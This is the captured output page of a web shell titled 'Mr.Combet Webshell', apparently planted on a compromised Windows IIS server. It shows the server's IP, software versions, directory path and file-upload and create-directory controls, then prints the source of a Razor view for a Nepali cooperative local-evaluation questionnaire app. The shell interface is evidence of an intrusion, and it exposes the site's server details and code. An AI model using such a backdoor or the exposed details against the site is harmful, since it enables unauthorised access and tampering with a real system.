Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
map
/
Views
/
LocalEvalCoopService
/
View File Name :
CoopLocalEvaluationList.cshtml
@using RER_Project.Core.Helpers @using RER_Project.BusinessLayer.BusinessService; @{ var meta = AppUserService.GetCurrent(); } <div class="wrapper wrapper-content animated"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <label><b>Cooperative Local Evaluation </b></label> <input type="hidden" name="CurrentPage" id="currentpage" /> <div class="pull-right"> <a href="#" onclick="exportExcel()" class="btn"> <img src="~/Images/ExternalIcon/excel.png" style="height:32px;width:32px;padding-bottom:5px" /> </a> </div> <div class="pull-right"> @if (meta.RoleId != (int)EnumRoleHelper.Roles.MigrationOfficer && meta.RoleId != (int)EnumRoleHelper.Roles.GALSOfficer && meta.RoleId != (int)EnumRoleHelper.Roles.FinancialInclusionoOfficer) { <a href="/local_evaluation_form/create" class="btn btn-primary">Create</a> } </div> <hr style="width:100%" /> <div class="form-horizontal"> <div class="form-group"> <div class="col-md-1 control-label"> Province: </div> <div class="col-md-2"> <select type="text" class="form-control required" name="ProvinceId" id="ProvinceId" data-api="/province/select/threeStates"></select> </div> <div class="col-md-1 control-label"> District: </div> <div class="col-md-2"> <select type="text" class="form-control required" name="DistrictId" id="DistrictId" data-api="/districts/select" disabled=""></select> </div> <div class="col-md-1 control-label"> Municipality: </div> <div class="col-md-2"> <select type="text" class="form-control required" name="MunicipalityId" id="MunicipalityId" data-api="/municipality/select" disabled=""></select> </div> <div class="col-md-1 control-label"> Fiscal Year: </div> <div class="col-md-2"> <select type="text" class="form-control " name="FiscalYearId" id="FiscalYearId" data-api="/fiscal_year_unlocked/select"></select> </div> <div class="form-group"> <br /> <div class="col-md-offset-11 col-md-1 pull-right" style="margin:5px"> <button type="button" id="searchGroup" onclick="Search()" name="searchGroup" class="btn btn-primary center-orientation"><i class="fa fa-search" aria-hidden="true"></i></button> </div> </div> </div> </div> <div id="_loadCoopLocalEvaluationList"></div> </div> </div> </div> </div> @* Insert Model *@ <div class="modal fade" id="insertModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button> <h4 class="modal-title" id="myModalLabel"> <label style="font-size: medium"><b>Cooperative Local Evaluation Questionaires</b></label></h4> </div> <form id="CreateQuestionaires"> <div class="modal-body" style=" width: 100%; "> <input type="hidden" name="Id" id="Id" /> <input type="hidden" name="QuestionairesDate" id="QuestionairesDate" /> <input type="hidden" name="QuestionairesDateNepali" id="QuestionairesDateNepali" /> <input type="hidden" id="LocalCoopEvalId" name="LocalCoopEvalId" /> <div id="eror_msg"></div> <div class="row"> <div class="form-group col-md-4"> <label><strong>मिति:</strong> </label> <input type="text" class=" form-control required clear" id="QuestionairesDatePicker" /> </div> </div> <div class="row"> <div class="form-group col-md-12"> <label><strong>१. स्थानीय तहले सहकारी क्षेत्रको विकासको लागि सहकारी ऐन/बिनियामवाली जारी गर्ने बाहेक कुनै दीर्घकालीन योजना तयार पारेको छ ?</strong></label> <select type="text" class="form-control required clear" name="Q1" id="InsertUpdateQ1" data-api="/coop_questionaries/dropdown/1"></select> </div> <div class="form-group col-md-12"> <label><strong>२. स्थानीय तहले आफ्नो कार्यक्षेत्रभित्र रहेका सहकारी संस्थाहरुको अनुगमन र मूल्यांकन नियमित रुपमा गर्ने गरेको छ ?</strong></label> <select type="text" class="form-control required clear" name="Q2" id="InsertUpdateQ2" data-api="/coop_questionaries/dropdown/2"></select> </div> <div class="form-group col-md-12"> <label><strong>३. स्थानीय तहले सहकारी संस्थाको दर्ता रजिस्ट्रेसन, अनुमति, खारेजी विघटन लगायतका संस्थापकीय कार्यहरू साथै, नियमन, प्रबद्र्धन र विकासको लागि सहकारी इकाईको रुपमा छुट्टै शाखा खडा गरी पूर्णकालिन कर्मचारी तोकिएको अवस्था छ ?</strong></label> <select type="text" class="form-control required clear" name="Q3" id="InsertUpdateQ3" data-api="/coop_questionaries/dropdown/3" onchange="answerSelectChange(this)"></select> </div> <div class="hasSeparateUnit"> <div class="form-group col-md-4"> <label><strong> नाम:</strong></label> <input type="text" class=" form-control clear" id="Q3_Head" name="Q3HeadName" /> </div> <div class="form-group col-md-4"> <label><strong> इमेल</strong></label> <input type="text" class=" form-control clear" id="Q3_Gmail" name="Q3Mail" /> </div> <div class="form-group col-md-4"> <label><strong> मोबाईल नं </strong></label> <input type="text" class=" form-control clear" pattern="\d*" oninput="validity.valid||(value='');" name="Q3Contact" id="Q3Contact" /> </div> </div> <div class="form-group col-md-12"> <label><strong>४.तत्कालिन सहकारी प्रशिक्षण तथा डिभिजन कार्यालय वा डिभिजन सहकारी कार्यालयले स्थानीय तहलाई हस्तान्तरण गरेको सहकारी संस्थाहरुको अभिलेखको अध्याबधिक गरेको/नगरेको?</strong></label> <select type="text" class="form-control required clear" name="Q4" id="InsertUpdateQ4" data-api="/coop_questionaries/dropdown/4"></select> </div> <div class="form-group col-md-12"> <label><strong>५.स्थानीय तहको सहकारी हेर्ने शाखा/इकाईमा सहकारी संस्थाहरुको अभिलेखीकरणमा लगायत अन्य कार्यहरुमा कम्प्युटर वा अन्य IT प्रविधिको को प्रयोग ?</strong></label> <select type="text" class="form-control required clear" name="Q5" id="InsertUpdateQ5" data-api="/coop_questionaries/dropdown/5"></select> </div> <div class="form-group col-md-12"> <label><strong>६.स्थानीय तहको सहकारी हेर्ने शाखा/इकाईमा कार्यरत कर्मचारीहरुले स्थानीय तह वा अन्य कहिँबाट सहकारी संचालन, प्रवद्र्धन र विकाससम्बन्धि कुनै किसिमको तालिम प्राप्त गरेको ?</strong></label> <select type="text" class="form-control required clear" name="Q6" id="InsertUpdateQ6" data-api="/coop_questionaries/dropdown/6"></select> </div> <div class="form-group col-md-12"> <label><strong>७.स्थानीय तहले सहकारी संस्थाका कर्मचारीको क्षमता विकासका लागि कार्यक्रम तर्जुमा गर्ने र कार्यान्वयन गर्ने गरेको छ ?</strong> </label> <select type="text" class="form-control required clear" name="Q7" id="InsertUpdateQ7" data-api="/coop_questionaries/dropdown/7"></select> </div> <div class="form-group col-md-12"> <label><strong>८.सहकारीको तथ्यांक व्यबस्थापन हेतु स्थानीय तहसँग कम्प्यूटर/सफ्टवेयर/COPOMIS संचालन र प्रयोगमा रहेको अवस्था ?</strong></label> <select type="text" class="form-control required clear" name="Q8" id="InsertUpdateQ8" data-api="/coop_questionaries/dropdown/8"></select> </div> <div class="form-group col-md-12"> <label><strong>९ स्थानीय तहले आफ्नो क्षेत्रभित्र रहेका सहकारी संस्थाहरुसँग चौमासिक रुपमा प्रतिवेदन लिने गरेको भए ? </strong></label> <select type="text" class="form-control required clear" name="Q9" id="InsertUpdateQ9" data-api="/coop_questionaries/dropdown/9"></select> </div> <div class="form-group col-md-12"> <label><strong>१०. सहकारी सम्बन्धी तथ्यांक अध्याबधिक गरी बार्षिक प्रतिवेदन तयार गर्ने गरेको/नगरेको?</strong></label> <select type="text" class="form-control required clear" name="Q10" id="InsertUpdateQ10" data-api="/coop_questionaries/dropdown/10"></select> </div> </div> </div> <div class="modal-footer"> <input type="button" value="Save" class="btn btn-primary" id="SubmitQuestionariesButton" /><span> </span> <a href="/coop_questionaries/evaluation/" class="btn btn-default"> <i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Back</a> </div> </form> </div> </div> </div> @*End Insert Model*@ </div> <script src="~/Scripts/jquery.min.js"></script> <link href="~/Content/NepaliDatePicker/nepaliDatePicker.min.css" rel="stylesheet" /> <script src="~/Scripts/NepaliDatePicker/jquery.nepaliDatePicker.min.js"></script> <script type="text/javascript"> $(document).ready(function () { window.initializeSelectApis(); window.initializeCascadeLocation(); document.getElementById('currentpage').value = 1; getCoopLocalEvaluationList(); initializeDatePicker(); }); function initializeDatePicker() { $("#QuestionairesDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true }); $("#QuestionairesDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#QuestionairesDate").val(datePickerData.adDate.toLocaleDateString()); $("#QuestionairesDateNepali").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }) } function Search() { document.getElementById('currentpage').value = 1; getCoopLocalEvaluationList(); } function callSearchPagination(id) { document.getElementById('currentpage').value = id; getCoopLocalEvaluationList(); } function getCoopLocalEvaluationList() { WorkForce.loader.show(); var xhr = new XMLHttpRequest(); var jsonData = { ProvinceId: document.getElementById('ProvinceId').value, DistrictId: document.getElementById('DistrictId').value, MunicipalityId: document.getElementById('MunicipalityId').value, CurrentPage: document.getElementById('currentpage').value }; var urlSearchParams = new URLSearchParams(jsonData); xhr.open('POST', '/coop_local_eval_list_partial', true); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhr.onload = function () { if (this.status == 200) { WorkForce.loader.hide(); document.getElementById("_loadCoopLocalEvaluationList").innerHTML = this.responseText; } } xhr.send(urlSearchParams); } function openCoopModelPopUp(questionairesId) { getQuestionariesOfId(questionairesId); $('#viewIndividualQuestionariesData').modal('show'); } function getQuestionariesOfId(id) { const ajax = request(); function request() { const url = '/coop_questionaries/question/' + id; return window.getAjaxRequest(url, "Get", id); } ajax.done(function (response) { assignDataToModel(response); }) } function assignDataToModel(response) { console.log(response); $('#q1').html(response.q1); $('#q2').html(response.q2); $('#q3').html(response.q3); $('#nepaliDate').html(response.questionaires_date_nepali + " BS"); if (response.q3 == "छुट्टै इकाई रही पूर्णकालीन कर्मचारी तोकिएको") { $('#q3_head_email_contact_show').show(); $('#q3_head_name').html(response.q3_head_name); $('#q3_email').html(response.q3_email); $('#q3_contact').html(response.q3_contact); } else { $('#q3_head_email_contact_show').hide(); } $('#q4').html(response.q4); $('#q5').html(response.q5); $('#q6').html(response.q6); $('#q7').html(response.q7); $('#q8').html(response.q8); $('#q9').html(response.q9); $('#q10').html(response.q10); } function coopQuestionariesInsert(coopEvaluationId) { $('#insertModal').modal('show'); $('.hasSeparateUnit').hide(); $('.clear').val(''); document.getElementById('LocalCoopEvalId').value = coopEvaluationId; document.getElementById('Id').value = 0; } function answerSelectChange(e) { var x = (e.options[e.selectedIndex].value); debugger; if (x == 7) { $('.hasSeparateUnit').show(); } else { $('#Q3HeadName').val(''); $('#Q3Mail').val(''); $('#Q3Contact').val(''); $('.hasSeparateUnit').hide(); } } $("#SubmitQuestionariesButton").off("click").on("click", function () { debugger; function request(model) { const url = "/coop_questionaries/insert"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } const form = $("#CreateQuestionaires"); $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; }; if (!window.confirmAction()) { return; }; WorkForce.loader.show(); function getModel() { return (getQuestionariesFormDetails()); } function getQuestionariesFormDetails() { var data = {}; data = window.serializeForm(form); debugger; console.log(data); if (data.Q3 != 7) { data.Q3HeadName = ""; data.Q3Mail = ""; data.Q3Contact = ""; } return data; } //const model = window.serializeForm(form); const model = getModel(); const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); $('#insertModal').modal('hide'); getCoopLocalEvaluationList(); }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }) function coopQuestionariesEdit(questionId, coopEvaluationId) { // $('#insertModal').modal('show'); // $('.hasSeparateUnit').hide(); // document.getElementById('LocalCoopEvalId').value = coopEvaluationId; // getCoopLocalEvaluationQuestionaries(); console.log(questionId); console.log(coopEvaluationId); const ajax = request(); function request() { const url = '/coop_questionaries/' + questionId + '/edit'; return window.getAjaxRequest(url, "Get", questionId); } ajax.done(function (response) { console.log(response); assignDataToQuestionariesEditModel(response); }) } function assignDataToQuestionariesEditModel(response) { console.log(response); $('#InsertUpdateQ1').val(response.Q1); $('#InsertUpdateQ2').val(response.Q2); $('#InsertUpdateQ3').val(response.Q3); $('#InsertUpdateQ4').val(response.Q4); $('#InsertUpdateQ5').val(response.Q5); $('#InsertUpdateQ6').val(response.Q6); if (response.Q3 === 7) { $('.hasSeparateUnit').show(); } else { $('.hasSeparateUnit').hide(); } $('#InsertUpdateQ7').val(response.Q7); $('#InsertUpdateQ8').val(response.Q8); $('#InsertUpdateQ9').val(response.Q9); $('#InsertUpdateQ10').val(response.Q10); $('#Q3_Head').val(response.Q3HeadName); $('#Q3_Gmail').val(response.Q3Mail); $('#Q3Contact').val(response.Q3Contact); $('#QuestionairesDate').val(response.QuestionairesDate); $('#QuestionairesDateNepali').val(response.QuestionairesDateNepali); var englishDateFilled = new Date($("#QuestionairesDate").val()); var nepaliDateFilled = calendarFunctions.getBsDateByAdDate(englishDateFilled.getFullYear(), englishDateFilled.getMonth() + 1, englishDateFilled.getDate()); var formatedNepaliDateFilled = calendarFunctions.bsDateFormat("%y-%M-%d", nepaliDateFilled.bsYear, nepaliDateFilled.bsMonth, nepaliDateFilled.bsDate); $("#QuestionairesDatePicker").val(formatedNepaliDateFilled); $('#LocalCoopEvalId').val(response.LocalCoopEvalId); $('#Id').val(response.Id); $('#Q3Contact').val(response.Q3Contact); $('#insertModal').modal('show'); } function toogleArrow(x) { x.classList.toggle("fa-arrow-down"); } function deleteCoopLocalEvaluation(id) { let conf = confirm(`Are you sure you want to delete Cooperative Information ?`); if (!conf) { return; } else { const ajaxResponse = requestForDelete(id); ajaxResponse.done(function (response) { WorkForce.loader.hide(); if (response) { console.log(response); getCoopLocalEvaluationList(); ShowMessage("success", "Successfully Deleted this Cooperative"); } else { ShowMessage("error", 'Unable to Delete Cooperative Currently '); } WorkForce.loader.hide(); }); ajaxResponse.fail(function (xhr) { WorkForce.loader.hide(); console.log(response); ShowMessage("Error", xhr.responseText); }); WorkForce.loader.hide(); } function requestForDelete(id) { const url = "/coop_evalulation/delete/"; const data = JSON.stringify({ "Id": id }); return window.getAjaxRequest(url, "POST", data); } } function deleteCoopAssessment(id) { let conf = confirm(`Are you sure you want to delete Cooperative Assessment Information ?`); if (!conf) { return; } else { const ajaxResponse = requestForDelete(id); ajaxResponse.done(function (response) { WorkForce.loader.hide(); if (response) { console.log(response); getCoopLocalEvaluationList(); ShowMessage("success", "Successfully Deleted this Cooperative Assessment"); } else { ShowMessage("error", 'Unable to Delete Cooperative Assessment Currently '); } WorkForce.loader.hide(); }); ajaxResponse.fail(function (xhr) { WorkForce.loader.hide(); console.log(response); ShowMessage("Error", xhr.responseText); }); WorkForce.loader.hide(); } function requestForDelete(id) { const url = "/coop_evalulation/assessment/delete/"; const data = JSON.stringify({ "Id": id }); return window.getAjaxRequest(url, "POST", data); } } function exportExcel() { var province = $('#ProvinceId').val(); var district = $("#DistrictId").val(); var municipality = $("#MunicipalityId").val(); var fiscalYear = $("#FiscalYearId").val(); window.location.href = `/report/local_evaluation/excel?provinceId=${province}&districtId=${district}&municipalityId=${municipality}&fiscalYear=${fiscalYear}`; } function createPDF(id) { url = `/report/local_evaluation/pdf/${id}`; var win = window.open(url, '_blank'); win.focus(); } </script>